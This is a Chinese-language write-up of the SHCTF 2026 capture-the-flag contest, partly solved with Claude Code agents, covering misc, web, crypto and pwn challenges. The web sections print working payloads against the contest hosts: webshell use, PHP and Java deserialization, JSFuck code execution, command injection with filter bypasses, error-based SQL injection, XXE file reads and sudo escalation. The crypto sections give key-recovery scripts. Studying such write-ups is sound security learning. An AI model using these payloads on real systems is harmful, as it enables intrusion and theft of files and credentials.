

SHCTF 2026 WriteUp

- **动动脑子**：Alan233, Claude Code Opus 4.6 & Sonnet 4.5
- 总榜 rank 18，浙大分榜 rank 7
- Web 方向 **Go** 的一血、**Mini Blog** 的二血，**Crypto** 方向 **not_eight_length** 的二血、**hash1** 的三血
- 总计：31 / 67
 - Misc & OSINT：7 / 20
 - Web：10 / 13
 - Crypto：9 / 12
 - Pwn：2 / 11
 - Reverse：3 / 11



misc													
参赛队伍	【!】 问卷反馈	【阶段1】 Ev...	【阶段1】 Of...	【阶段1】 Op...	【阶段1】 不...	【阶段1】 提...	【阶段1】 滴...	【阶段1】 签到	【阶段1】 薇...	【阶段1】 资...	【阶段2】 Ba...	【阶段2】 ez...	【阶段2】
b3nk	7888 pts												
Cu Curry	5814 pts												
Ru Rubbish-1	5658 pts												
4 H2g	5174 pts												
5 Re Reinon	4510 pts												
6 cc ccccccctfi	4417 pts												
7 H4 H4ck3r	3823 pts												
8 wh whoami	3438 pts												
9 yo yanxi	3274 pts												
10 zz zzz	3266 pts												
11 zZ zZz	3156 pts												
12 xi xiaoma	3120 pts												
13 打C 打CTF又会遇见谁	2878 pts												
14 m@ m@g	2851 pts												
15 无敌 无敌暴龙战队	2810 pts												
16 喵喵 喵喵喵喵	2799 pts												
17 Rubbish-2	2783 pts												
18 动动脑子	2563 pts												
19 hi hicode002	2526 pts												
20 小手 小宇宙	2519 pts												

反思：这次 SHCTF 第一次尝试 vibe coding，我将观察的结果告诉 Claude Code，然后它去负责代码的编写与破译，结合起来效率大增，不得不说现在的 agent 太恐怖了。不过 pwn 和 reverse 本身是我的弱项，回头值得把所有题都重新再补一遍。

- 签到： `SHCTF{WiSh1ng_y0u_@_HaPpy_NEw_Ye@r_1n_Adv@nCe!}`
- 签退： `SHCTF{th@nK_y0u_FoR_pAr7icipat1n9_in_SHCTF_3rd}`

1. Misc & OSINT

OSINT 全部都是 MC 题，可惜俺不玩 MC，整个方向爆了（

1.1 Evan

观察到 flag.png 的 IEND 结束标记之后，还附加了一个 zip 压缩包（179 字节），使用 `dd if=flag.png of=hidden.zip bs=1 skip=2797295` 提取出隐藏的 zip 文件，伪加密修改标记位即可。

`SHCTF{Evan_1s_s0_h4nds0me!}`

伪加密的破解方式：

- Local file header 的加密标志位 = 0（未加密）
- Central directory 的加密标志位 = 1（加密）
- 修改 Central directory 的标志位使其与 Local header 一致即可绕过

1.2 Office

下载的 `flag.docx` 其实是 zip 压缩包，解压以后发现异常文件 `./word/theme/alphabet`，里面 `+ /0-6a-zA-Z7-9=` 就是自定义的 base64 码，接着将 `./word/document.xml` 中的密文解密即可。

```
SHCTF{MS_Office_is_the_best_office_software.wps}
```

1.3 Open my puff

不会。1.txt 里面的可见文本是 `where are my key?`，但内嵌了很多零宽字符。通过 base-4 编码（C=0, D=1, P=2, F=3）+ UTF-16 编码，得到：

- keyA: `12345678`
- keyB: `qwertyui`
- keyC: `asdfghjk`

png 的文件末尾附加了提示 `h1nt:openpuff4.01`，我在本机安装了 OpenPuff 4.01，选择 Unhide 模式，输入上面三个密码，解密得到 `azaa.zip`，用 `bkcrack` 工具破解出 `Keys: 1d48cfc5 62bd4fc1 c39f71de`，然后寄了。感觉就差一口气呜呜呜。

1.4 不止二维码

应该是隐写，然后卡在下一步了，不会。

1.5 提问前请先搜索

打开网页往下翻就看到 SHCTF 了，直接复制会出乱码，手抄一遍

```
SHCTF{DO_n#T_R31Y_#n_41}。
```

1.6 滴答滴答

尝试了没找到 flag，不太会音频处理。

1.7 薇薇安的美照

jpg 文件尾部藏着 `SHCTF{MV84Xzc0XzIwXzdf0TJfMTZfNV8x0F84Xzc=}`，base64 解密得到 `1_8_74_20_7_92_16_5_18_8_7`，这是元素周期表的原子序数，稍微猜一下 flag 格式即可。

```
SHCTF{H_O_W_C_A_N_U_S_B_A_R_O_N}
```

1.8 资源平权！

没做。

1.9 Base64Encryption

没做。

1.10 ezAI

没做。

1.11 奇怪的数据

将这一堆 RGB 值转成图片，扫码得到

```
U0hDVEZ7VGgzX1F1ZXN0MW9uNV9BcmVfVG9vX0QxZmZpY3UxdCEhISF9，base64 解密  
SHCTF{Th3_Quest1on5_Are_Too_D1fficu1t!!!!}。
```

1.12 获取 SHSolver 之路

没做。

1.13 Structured Chaos

没做。

1.14 珍贵的 Signature

下载的文件其实是伪加密的压缩包，解压后观察到 `./word/_rels/word` 是个 base64 编码，解码得到一张 bmp 格式图，然后就卡住了。我看到 `./word/document.xml` 里有个提示 `Hint :` `flag就是那段小字`，但分析了半天也没找到小字啊（（（

1.15 MC-OSINT-1

不会玩 MC，这 4 题白白送走了…

1.16 MC-OSINT-2

1.17 MC-OSINT-3

1.18 MC-OSINT-4

2. Web

2.1 05_em_v_CFK

题目名称倒过来念是 KFC_v_me_50，所以这题就是要去闲鱼买下 flag 用 webshell 买下 flag。

源代码的 CSS 中有一串注释

```
5bvE5YvX5Ylt5YdT5Yvdp2uyoTjhpTujYPQyhXoxhVcmnT935L+P5cJjM2I05oPC5cvB55d
```

R5Mlw6LTK54zc5MPa , ROT13 + base64 解码得到 "我已传了个shell.php, 带上show参数get小明的圣遗物吧" 。

然后发现 /shell.php 404 了, 暴力试出 uploads/shell.php?show=1 , 观察到:

- 需要 POST key 参数, md5 值为 c4d038b4bed09fdb1471ef51ec3a32cd (一眼猜出是 114514) ;
- 使用 code 参数执行 php 代码
- 包含 connect.php 获取数据库连接
- 调用存储过程 CALL buy_item(3, 100) 直接购买 Golden Flag

payload

```
1 curl -s -X POST "http://challenge.shc.tf:30876/uploads/shell.php" -d
  'key=114514&code=include("/var/www/html/connect.php"); $stmt=$pdo-
  >prepare("CALL buy_item(?, ?)"); $stmt->execute([3, 100]); print_r($stmt-
  >fetchAll());'
```

SHCTF{643ddddb-f754-41d4-b441-a0a588116940}

2.2 Eazy_Pyrunner

没看, 感觉亏了一个亿 (

2.3 Ezphp

php 反序列化链:

- Sun::__destruct → 字符串拼接触发 Moon::__toString
- Moon::__toString → 函数调用触发 Earth::__invoke
- Earth::__invoke → 给私有属性赋值触发 Solar::__set
- Solar::__set → 调用不存在方法触发 Solar::__call
- Solar::__call → new SplFileObject('/flag')->fpassthru() 直接输出文件内

容
绕过 throw Exception: 使用 GC 技巧, 构造 a:2:{i:0;0:...;i:0;N;}, 同一索引出现两次, 第二个覆盖第一个时触发垃圾回收, 让对象在 throw 之前就被销毁执行 __destruct 。

利用 SplFileObject 原生类读取 /flag, 调用 fpassthru() 方法直接输出文件内容。

payload

```
1 curl -s -X POST "http://challenge.shc.tf:32083/" -d 'travel=a:2:
  {i:0;0:3:"Sun":1:{s:3:"sun";0:4:"Moon":1:{s:8:"nearside";0:5:"Earth":3:
  {s:7:"onearth";0:5:"Solar":2:{s:7:"Mercury";0:5:"Solar":2:
```

```
{s:7:"Jupiter";s:9:"fpassthru";s:6:"Saturn";s:0:"";s:5:"Venus";s:13:"SplFileObject";s:7:"inearth";s:3:"Sun";s:10:"outofearth";s:5:"/flag";}}i:0;N;}
```

```
SHCTF{9a5899f4-5945-442d-871c-ba301ad07090}
```

2.4 calc?js?fuck!

变种的 JSFuck，原本只允许 `[]()!+`，现在多了 `0-7,9` 以及运算符 `.-*/`（除了 `8` 没有）。我们的目标 payload 应该长这个样：

目标 payload

```
1 return process.mainModule.require('fs').readFileSync('/flag')
```

将每个字符用 JSFuck 编码，最终构造出完整的 payload：

```
expiot.py

1 import requests
2
3 url = "http://challenge.shc.tf:32381/calc"
4
5 FALSE = "![]+[]"
6 TRUE = "!![]+[]"
7 UNDEFINED = "[][0]+[]"
8 NAN = "[]/[]+[]"
9 INFINITY = "+!![]/+[]+[]"
10 NEG_INFINITY = "-1/0+[]"
11
12 def get_char(source, idx):
13     idx_str = str(idx)
14     if '8' in idx_str:
15         raise ValueError(f"Index {idx} contains 8!")
16     return f"({source})[{idx}]"
17
18 def encode_number(n):
19     """编码数字，避免出现 8"""
20     n_str = str(n)
21     if '8' not in n_str:
22         return str(n)
23     if n == 8:
24         return "(7+1)"
25     base = int(n_str.replace('8', '7'))
26     diff = n - base
27     return f"({encode_number(base)}+{diff})"
```

```
28
29 # 基础字符
30 chars = {}
31 chars['f'] = get_char(FALSE, 0)
32 chars['a'] = get_char(FALSE, 1)
33 chars['l'] = get_char(FALSE, 2)
34 chars['s'] = get_char(FALSE, 3)
35 chars['e'] = get_char(FALSE, 4)
36 chars['t'] = get_char(TRUE, 0)
37 chars['r'] = get_char(TRUE, 1)
38 chars['u'] = get_char(TRUE, 2)
39 chars['n'] = get_char(UNDEFINED, 1)
40 chars['d'] = get_char(UNDEFINED, 2)
41 chars['i'] = get_char(UNDEFINED, 5)
42 chars['N'] = get_char(NAN, 0)
43 chars['I'] = get_char(INFINITY, 0)
44 chars['y'] = get_char(INFINITY, 7)
45 chars['.'] = get_char("1.1+[]", 1)
46 chars['-'] = get_char(NEG_INFINITY, 0)
47
48 # 构造 "fill"
49 FILL_STR = "+".join([chars[c] for c in "fill"])
50 FUNC_FILL = f"[][{FILL_STR}]+[]"
51
52 # 从 function fill() 获取更多字符
53 chars['c'] = get_char(FUNC_FILL, 3)
54 chars['o'] = get_char(FUNC_FILL, 6)
55 chars[' ' ] = get_char(FUNC_FILL, 15)
56
57 # 构造 Function
58 CONSTRUCTOR_STR = "+".join([chars[c] for c in "constructor"])
59 FUNCTION = f"[][{FILL_STR}][{CONSTRUCTOR_STR}]"
60
61 # String 构造器
62 EMPTY_STR = "[]+[]"
63 STRING_CONSTRUCTOR = f"({EMPTY_STR})[{CONSTRUCTOR_STR}]"
64 FUNC_STRING = f"{STRING_CONSTRUCTOR}+[]"
65
66 chars['S'] = get_char(FUNC_STRING, 9)
67 chars['g'] = get_char(FUNC_STRING, 14)
68
69 # 使用 toString(36) 获取小写字母
70 TOSTRING_STR = "+".join([chars[c] for c in "toString"])
71
72 def get_letter_from_base36(n):
73     return f"({encode_number(n)})[{TOSTRING_STR}](36)"
74
```

```

75 for idx, c in enumerate("abcdefghijklmnopqrstuvwxyz"):
76     if c not in chars:
77         chars[c] = get_letter_from_base36(10 + idx)
78
79 # 数字字符
80 for digit in "0123456789":
81     if digit == '8':
82         chars[digit] = "(7+1)+[]"
83     else:
84         chars[digit] = f"({digit})+[]"
85
86 # 全局对象
87 RETURN_STR = "+".join([chars[c] for c in "return"])
88 THIS_STR = "+".join([chars[c] for c in "this"])
89 GLOBAL = f"{FUNCTION}({RETURN_STR}+{THIS_STR})()"
90
91 # escape/unescape 获取特殊字符
92 ESCAPE_STR = "+".join([chars[c] for c in "escape"])
93 ESCAPE_FUNC = f"{GLOBAL}[{ESCAPE_STR}]"
94 OPEN_BRACE = get_char(FUNC_FILL, 16)
95 ESCAPED_BRACE = f"{ESCAPE_FUNC}({OPEN_BRACE})+[]"
96 chars['%'] = get_char(ESCAPED_BRACE, 0)
97
98 UNESCAPE_STR = "+".join([chars[c] for c in "unescape"])
99 UNESCAPE_FUNC = f"{GLOBAL}[{UNESCAPE_STR}]"
100
101 def unescape_char(hex_code):
102     parts = [chars[h] for h in hex_code]
103     return f"{UNESCAPE_FUNC}({chars['%']}+{'+'.join(parts)})"
104
105 # 特殊字符
106 chars['C'] = unescape_char('43')
107 chars['F'] = unescape_char('46')
108 chars['M'] = unescape_char('4d')
109 chars['"'] = unescape_char('27')
110 chars['/'] = unescape_char('2f')
111
112 # fromCharCode 用于其他字符
113 FROMCHARCODE_STR = "+".join([chars[c] for c in "fromCharCode"])
114
115 def from_char_code(code):
116     return f"{STRING_CONSTRUCTOR}[{FROMCHARCODE_STR}]({encode_number(code)})"
117
118 def build_string(s):
119     parts = []
120     for c in s:
121         if c in chars:

```



```

122         parts.append(chars[c])
123     else:
124         parts.append(from_char_code(ord(c)))
125     return "+".join(parts)
126
127 # 构造最终 payload
128 code = "return process.mainModule.require('fs').readFileSync('/flag')"
129 CODE_STR = build_string(code)
130 PAYLOAD = f"{FUNCTION}({CODE_STR})()+[]"
131
132 # 发送请求
133 r = requests.post(url, json={"expr": PAYLOAD}, timeout=120)
134 print("FLAG:", r.json())

```

SHCTF{aa38bda4-a916-49a9-9715-389863ddaa57}

2.5 ez-ping

源码的关键部分：

代码块

```

1  <form id="pingForm" action="/ping.php" method="POST">
2      <div class="input-group">
3          <input type="text" name="domain" id="domain" placeholder="请输入域名，例
如 example.com">
4      </div>
5      <button type="submit">执行</button>
6  </form>

```

后端很可能执行类似 `ping $domain` 的命令，试了一下 `&`（URL 编码为 `%26`）可以成功注入命令。不过还屏蔽了 `cat` 和 `flag`（非法字符说是），用 `more` 和通配符绕过即可。

payload

```

1  ```bash
2  # 列出根目录
3  curl -s http://challenge.shc.tf:32053/ping.php -d "domain=127.0.0.1%26ls%20/"
4
5  # 直接读取 - 被过滤
6  curl -s http://challenge.shc.tf:32053/ping.php -d
"domain=127.0.0.1%26cat%20/flag"
7  # 返回：命令中包含非法字符！
8
9  # flag 被过滤，使用 fla? 通配符

```

```
10 curl -s http://challenge.shc.tf:32053/ping.php -d
   "domain=127.0.0.1%26ls%20/fla?"
11 # 返回: /flag (成功匹配)
12
13 # cat 被过滤, 尝试 more
14 curl -s http://challenge.shc.tf:32053/ping.php -d
   "domain=127.0.0.1%26more%20/fla?"
15 # 成功读取 flag!
```

SHCTF{293d0869-1225-43ac-ae37-fac9e43674bd}

2.6 ez_race

没看。

2.7 kill_king

观察源代码看到 check.php 中, 在游戏代码发现胜利时会向 check.php 发送 POST 请求。再去观察 check.php, 发现它存在无字母数字下的 RCE, 具体而言, 它的限制是:

- who 和 are 必须是数字;
- you 只能包含非字母数字字符 (\W);
- 执行 eval("return \$who\$you\$are;")。

于是, 我们可以如下设计:

- 使用 ~ 取反操作符构造函数名 (如 ~'\x8c\x86\x8c\x8b\x9a\x92' = 'system')
- 使用 ^ XOR 操作符保持语法正确: 0^函数调用^0
- payload 的形式为 who=0&you=^(~'函数名取反')(~'参数取反')^&are=0

payload

```
1 curl -s -X POST "http://challenge.shc.tf:31136/check.php?
   who=0&you=^(~%27%8c%86%8c%8b%9a%92%27)
   (~%27%9c%9e%8b%df%d0%99%93%9e%98%27)^&are=0" -d "result=win"
```

SHCTF{d4edffd1-52da-4e72-8fe5-27490a33f7f9}。

2.8 上古遗迹档案馆

数据库入门题, 单引号测试, 喂入 1' ,

代码块

```
1 系统错误 (Debug Mode On): You have an error in your SQL syntax; check the
```

manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 1' at line 1

开了 Debug 模式，用的 MariaDB，并且一开始的查询语句估计是 `SELECT * FROM table WHERE id='$id' LIMIT 1`。我们先搞出来原查询返回多少列，使用 `ORDER BY` 探测：

代码块

```
1  id=1' ORDER BY 1-- -    → 正常
2  id=1' ORDER BY 2-- -    → 正常
3  id=1' ORDER BY 3-- -    → Unknown column '3' in 'order clause'
```

说明查询结果只有 2 列，再尝试 DEBUG 报错注入：

代码块

```
1  1' AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM
   information_schema.tables WHERE table_schema=database()),0x7e))-- -
2  系统错误 (Debug Mode On): XPATH syntax error: '~public_records,secret_vault~'
```

获取了两个表名 public_records、secret_vault，flag 想必在后者里面。

代码块

```
1  1' AND extractvalue(1,concat(0x7e,(SELECT group_concat(column_name) FROM
   information_schema.columns WHERE table_name='secret_vault'),0x7e))-- -
2  系统错误 (Debug Mode On): XPATH syntax error: '~id,secret_key~'
```

secret_valut 表有两列 id、secret_key，flag 想必在后者里面。

代码块

```
1  1' AND extractvalue(1,concat(0x7e,(SELECT secret_key FROM secret_vault LIMIT
   0,1),0x7e))-- -
2  ~SHCTF{1af7f6ce-fb93-4cb3-ae4...
3
4  1' AND extractvalue(1,concat(0x7e,SUBSTRING((SELECT secret_key FROM
   secret_vault LIMIT 0,1),31,31),0x7e))-- -
5  ~d625a8417543}~
```

SHCTF{1af7f6ce-fb93-4cb3-ae4a-d625a8417543}

2.9 Go

入门题，`curl -s "http://challenge.shc.tf:32505/" -d '{"Role":"admin"}'`，得到 flag `SHCTF{5249a0cb-c94f-4660-9f6c-60c6a59f7bdc}`。

2.10 Mini Blog

发布文章功能使用 XML 格式提交数据，服务端解析 XML 时启用了外部实体，存在 XXE 漏洞。

构造 payload：

代码块

```
1 curl -s http://challenge.shc.tf:32067/create -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?>
2     <!DOCTYPE post [
3         <!ENTITY xxe SYSTEM "file:///flag">
4     ]>
5     <post><title>&xxe;</title><content>test</content></post>'
```

得到 flag `SHCTF{e869c369-dcc2-4897-bc85-6337c396a804}`。

2.11 BabyJavaUpload

没看。

2.12 sudo00000

直接访问 403 了，枚举发现 `/webshell.php` 的状态码为 200，同时发现它接受 `cmd` 参数执行 PHP `eval()`，利用 `system('id')` 确认拿到 ctf 用户的 shell。

接着分析 `docker-entrypoint.sh`，发现关键逻辑：

- flag 写入 `/flag`，权限 400，只有 root 能读；
- 给 ctf 用户设置随机密码；
- 用 `script` 启动一个带 TTY 的进程，执行 `echo 密码 | sudo -S -v` 缓存 sudo 凭据。

于是，我们可以通过 `ps aux` 获取密码是 `urhiC`，然后提权读 flag，用 `script` 创建伪终端，然后 `echo urhiC | sudo -S cat /flag` 读取 flag，`SHCTF{$uD0_T#k3N_Injec7I0n_pwneD_zo2s}`。

2.13 你也懂 java?

打开网页，观察代码：

- ① 直接把 HTTP 请求体当作 Java 序列化流来反序列化，没有任何过滤
- ② 检查反序列化出来的对象是否是 Note 类型

- ③ 如果 filePath 不为空，就读取该路径的文件并回显

JAR 包中包含一个 Note 类，实现了 Serializable 接口，有 title、message、filePath 三个字段，服务端在 /upload 端点直接用 ObjectOutputStream 反序列化 POST body，然后读取 note.getFilePath() 指向的文件并回显，构造一个 filePath 设为 /flag 的 Note 对象，序列化后发送即可实现任意文件读取。

Exploit.java

```
1  import java.io.*;
2
3  public class Exploit {
4      public static void main(String[] args) throws Exception {
5          Note note = new Note("test", "test", "/flag");
6          try (ObjectOutputStream oos = new ObjectOutputStream(new
7              FileOutputStream("payload.bin"))) {
8              oos.writeObject(note);
9          }
10         System.out.println("Payload written to payload.bin");
11     }
```

```
curl -X POST http://challenge.shc.tf:32328/upload --data-binary
@payload.bin
```

```
SHCTF{e7864cf8-e0c9-4c0e-9330-8e6d89734b62}
```

3. Crypto

3.1 AES 的诞生

不会。

3.2 Ez_RSA

Wiener Attack 板子。

```
SHCTF{e950ea87356fc62ce6323253a672680e}
```

Wiener Attack: e 很大意味着 d 很小 ($d < n^{1/4}/3$)。

通过对 e/n 做连分数展开，遍历其收敛子 k/d ，验证对应的 $\phi(n)$ 能否分解 n ，即可恢复私钥 d 并解密。

3.3 Stream

LCG 板子，经典差分然后 gcd。

```
SHCTF{LLLLLLLLLLLLLLLLCCCCGGGGGGGGG_TGY%JgW0mAM6V5n55w3m*jcPJZjH08E1Vvz  
rGjT84tXS332D&o4GZe8%KKzEyAngmwx9bp5dv_04dPpOvMy1^hM}
```

3.4 TE

RSA 共模攻击板子。贝组 = 裴蜀。

```
SHCTF{LYQkkk3ud4hqV3fZtPWH077vhI2Bqcz19ZRxf1vwRU8Ej4uvrJcF02Sd4bzjxqUH5  
096qWDIdTyEJ$JzF}
```

3.5 not_eight_length

RSA 费马分解板子，只不过 flag 加密的逻辑是每个字符占 7 位（毕竟 ASCII 本身就是 7 位）。

```
SHCTF{99f4a238-9bd5-498a-b8ea-5cd243a36a19}
```

3.6 古典也颇有韵味啊

encode_key 全部都是 A/B 的组合，一眼培根密码，解密得到 NOTVIGENERE，此地无银三百两肯定是维吉尼亚密码，但试了一下不对，题干意思是说“相近”，寻找维吉尼亚密码的家族，发现 Autokey 密码（自动密钥密码）可以破解。

```
exp.py  
  
1  def bacon_decode(encode_key):  
2      """培根密码解码（24字母版本，I=J，U=V）"""  
3      bacon_table = {  
4          'AAAAA': 'A', 'AAAAB': 'B', 'AAABA': 'C', 'AAABB': 'D',  
5          'AABAA': 'E', 'AABAB': 'F', 'AABBA': 'G', 'AABBB': 'H',  
6          'ABAAA': 'I', 'ABAAB': 'K', 'ABABA': 'L', 'ABABB': 'M',  
7          'ABBAA': 'N', 'ABBAB': 'O', 'ABBBA': 'P', 'ABBBB': 'Q',  
8          'BAAAA': 'R', 'BAAAB': 'S', 'BAABA': 'T', 'BAABB': 'V',  
9          'BABAA': 'W', 'BABAB': 'X', 'BABBA': 'Y', 'BABBB': 'Z'  
10     }  
11  
12     result = ""  
13     for i in range(0, len(encode_key), 5):  
14         group = encode_key[i:i+5]  
15         if group in bacon_table:  
16             result += bacon_table[group]  
17     return result  
18  
19  def autokey_decrypt(ciphertext, key):  
20     """Autokey密码解密"""  
21     # 提取字母和位置  
22     cipher_letters = [c.lower() for c in ciphertext if c.isalpha()]  
23     positions = [i for i, c in enumerate(ciphertext) if c.isalpha()]  
24
```

```

25     # Autokey解密
26     plaintext_letters = []
27     for i in range(len(cipher_letters)):
28         if i < len(key):
29             k = ord(key[i].upper()) - ord('A')
30         else:
31             # 使用已解密的明文作为密钥
32             k = ord(plaintext_letters[i - len(key)].upper()) - ord('A')
33
34         c_val = ord(cipher_letters[i]) - ord('a')
35         p_val = (c_val - k) % 26
36         plaintext_letters.append(chr(p_val + ord('a')))
37
38     # 重建完整明文（保留原格式）
39     result = list(ciphertext)
40     for i, pos in enumerate(positions):
41         result[pos] = plaintext_letters[i]
42
43     return ''.join(result)
44
45 def solve():
46     # 题目数据
47     ciphertext = "bcin!guy zeui wh! wwps ce yryz
48     ysex:wpurt{wc@xdii_u2frmt_cwkg_ktani0}"
49     encode_key = "ABBAAABBABBAABABAABBABAAAAABBAAABAAABBAAAAABAABAAAAAABAA"
50
51     print("=" * 60)
52     print("CTF Crypto Challenge - 古典密码解密")
53     print("=" * 60)
54
55     # Step 1: 培根密码解码得到密钥
56     print("\n[Step 1] 培根密码解码")
57     print(f"encode_key: {encode_key}")
58     key = bacon_decode(encode_key)
59     print(f"解码结果: {key}")
60
61     # Step 2: Autokey密码解密
62     print("\n[Step 2] Autokey密码解密")
63     print(f"密文: {ciphertext}")
64     plaintext = autokey_decrypt(ciphertext, key)
65     print(f"明文: {plaintext}")
66
67     # Step 3: 提取flag
68     print("\n[Step 3] 提取Flag")
69     # 找到flag部分
70     start = plaintext.find('{')
71     end = plaintext.find('}')

```

```

71     if start != -1 and end != -1:
72         flag_content = plaintext[start:end+1]
73         # 找到flag头
74         flag_head_start = plaintext.rfind(':', 0, start) + 1
75         original_flag = plaintext[flag_head_start:end+1]
76         print(f"原始flag: {original_flag}")
77
78         # 按题目要求改为SHCTF头
79         final_flag = "SHCTF" + flag_content
80         print(f"\n最终答案: {final_flag}")
81
82     print("\n" + "=" * 60)
83     return final_flag
84
85 if __name__ == "__main__":
86     flag = solve()

```

SHCTF{cl@ssic_c2ypto_also_crypt0}

3.7 Titanium Lock

flag 经过了 f1、f2、f3 三层加密，逐层解密即可，我们倒过来看。

- f3 一开始先是通过 `self.key` 搞了个 `out`，再是 AES-CTR 加密了 f2 的结果。
 - 先破解 `self.key`，`label = (popcount(n & key) % 3) % 2` 传递出一个信息：如果 `label = 1`，那么就有 `popcount(n & key) ≡ 1 (mod 3)`。这是在 GF(3) 上的线性方程，有足够多方程，必然可以解出唯一解；
 - 再拿恢复的 key 派生 AES 密钥，得到 data（长度为 224）。
- f2 则是将 f1 的输出列表 padding 至 12 的倍数（填充随机数），然后每 12 个一段做线性变换。求矩阵的逆即可，得到 v（长度为 168）。
- f1 搞了个种子，但是范围很小，可以暴力。注意到 f2 的 padding 的随机数是拿这个种子生成的，因此可以拿这 7 个已知的随机数解出 seed，然后就可以还原出 seed。
 - 这里比较搞的一点，就是当 $v=r$ 时，这一位既可能是 0 ($0+r=v$)，也可能是 1 ($1*r=v$)，都得试试。

SHCTF{HYP3rLoN_m0d3_Lpn_@ff16X1Z_bl6_kl28_@3\$_ctR_7FgDzBae0A8f3\$61}

3.8 hash1

经典哈希碰撞，网上直接抄一个：

md5 collision

1 4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf


```
36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2,4dc968ff0ee35c209572d4777b721
587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0
d1d55d8360fb5f07fea2
```

```
SHCTF{cOn9r@tUIATl0NS_B0Th_hAShL_APPIES_aRe_V3ry_dEIicI#u5_1#1}
```

3.9 hash2

同上。 `SHCTF{a1tH#U9h_hAsHZ_4Pp1ES_h4v3_Si9ns_7hey_are_stilI_Del1Cl#Us}`

3.10 隐藏的子集和?

这题我会，可惜机器没有 sagemath，附件太大没法在线运行，输麻了。

3.11 hash3

找遍全网没找到满足这个条件的字符串，这咋搞啊（

3.12 椭圆曲线???!!!

发现 ECDSA 随机数 k 重用，存在 ECDSA nonce reuse。data.json 中 $\text{sig1_r} == \text{sig2_r}$ 也证实了这一点。

ECDSA 签名公式为 $s = (\text{hash} + \text{secret} * r) * k^{-1} \bmod n$ ，两条消息用同一个 k ，所以：

- $s_1 = (\text{hash}_1 + \text{secret} * r) * k^{-1} \bmod n$
- $s_2 = (\text{hash}_2 + \text{secret} * r) * k^{-1} \bmod n$

于是得到 k 为：

- $k = (\text{hash}_1 - \text{hash}_2) / (s_1 - s_2) \bmod n$

有了 k ，再反推私钥（也就是 flag）：

- $\text{secret} = (s_1 * k - \text{hash}_1) / r \bmod n$

因为 flag 转成整数后比曲线阶 n 大，所以算出的只是 $\text{secret} \bmod n$ 。题目给了 start 和 end 作为范围提示，遍历 $\text{secret_mod_n} + i * n$ 找到落在范围内、且能解码成可读 ASCII 的那个值，就是 flag。

exp.py

```
1 import hashlib
2 import json
3 from Crypto.Util.number import long_to_bytes, inverse
4
5 # Load data
6 with open('/home/zhouz/0000/src/data.json', 'r') as f:
7     data = json.load(f)
```

```

8
9  # Curve order for NIST256p
10 n = 0xffffffff00000000fffffffffffffffffbce6faada7179e84f3b9cac2fc632551
11
12  # Parse signatures
13  r = int(data['sig1_r'], 16)
14  s1 = int(data['sig1_s'], 16)
15  s2 = int(data['sig2_s'], 16)
16
17  # Compute message hashes (SHA-256, interpreted as integers)
18  hash1 = int(hashlib.sha256(data['msg1'].encode()).hexdigest(), 16)
19  hash2 = int(hashlib.sha256(data['msg2'].encode()).hexdigest(), 16)
20
21  # ECDSA nonce reuse attack
22  #  $k = (hash1 - hash2) * inverse(s1 - s2, n) \bmod n$ 
23  ds = (s1 - s2) % n
24  dh = (hash1 - hash2) % n
25  k = (dh * inverse(ds, n)) % n
26
27  #  $secret\_mod\_n = (s1 * k - hash1) * inverse(r, n) \bmod n$ 
28  secret_mod_n = ((s1 * k - hash1) * inverse(r, n)) % n
29
30  print("secret mod n = {}".format(hex(secret_mod_n)))
31
32  # The actual secret (flag as integer) is larger than n
33  #  $secret = secret\_mod\_n + i * n$  for some integer i
34  # We know  $start \leq secret \leq end$ 
35  start = int(data['start'], 16)
36  end = int(data['end'], 16)
37
38  print("start = {}".format(hex(start)))
39  print("end = {}".format(hex(end)))
40  print("n = {}".format(hex(n)))
41
42  # Find i such that  $start \leq secret\_mod\_n + i * n \leq end$ 
43  #  $i\_min = \lceil (start - secret\_mod\_n) / n \rceil$ 
44  #  $i\_max = \lfloor (end - secret\_mod\_n) / n \rfloor$ 
45
46  import math
47
48  diff_start = start - secret_mod_n
49  diff_end = end - secret_mod_n
50
51  i_min = math.ceil(diff_start / n) # might lose precision with floats
52  i_max = diff_end // n
53
54  # More precise:  $i\_min = \lceil (diff\_start / n) \rceil$ 

```

```

55  # = (diff_start + n - 1) // n  if diff_start > 0
56  if diff_start > 0:
57      i_min = (diff_start + n - 1) // n
58  else:
59      i_min = -((-diff_start) // n)
60
61  print("\ni_min = {}".format(i_min))
62  print("i_max = {}".format(i_max))
63
64  # Try all valid i values
65  for i in range(i_min, i_max + 1):
66      candidate = secret_mod_n + i * n
67      if start <= candidate <= end:
68          flag = long_to_bytes(candidate)
69          print("\ni = {}".format(i))
70          print("secret = {}".format(hex(candidate)))
71          print("flag   = {}".format(flag))
72          # Check if it looks like a valid flag
73          try:
74              flag_str = flag.decode('ascii', errors='replace')
75              print("flag (ascii) = {}".format(flag_str))
76          except:
77              pass

```

SHCTF{205436e5-d598-4859-a237-d3f40e7ed45b}

4. Pwn

4.1 Linklist

4.2 baby_fmt

4.3 cpp_canary

4.4 execve?orw?

64位 ELF，逆向得到核心代码：

```

pwn
1  void sandbox() {
2      scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); // 默认杀死进程

```

```

3     seccomp_rule_add(ctx, SCMP_ACT_ALLOW, 60, 0);           // 只允许 exit (syscall
    60)
4     seccomp_load(ctx);
5 }
6
7 int main() {
8     setvbuf(stdout, NULL, 2, 0);
9     setvbuf(stdin, NULL, 2, 0);
10    setvbuf(stderr, NULL, 2, 0);
11
12    printf("execve? orw?\n");
13
14    // 1. 打开 flag 文件
15    int fd = open("./flag", O_RDONLY);
16
17    // 2. 将 flag 映射到固定地址 0x11451000
18    mmap(0x11451000, 0x1000, PROT_READ|PROT_WRITE,
19        MAP_PRIVATE|MAP_FIXED, fd, 0);
20
21    // 3. 读取用户输入的 shellcode 到 0x11451500
22    read(0, 0x11451500, 0x500);
23
24    // 4. 启用沙箱
25    sandbox();
26
27    // 5. 执行 shellcode
28    ((void(*)())0x11451500)();
29 }

```

- Flag 位置已知: flag 被 mmap 到固定地址 `0x11451000`
- shellcode 执行: 用户输入被当作代码执行, 位于 `0x11451500`
- 严格沙箱: seccomp 只允许 `exit` 系统调用 (syscall number 60)

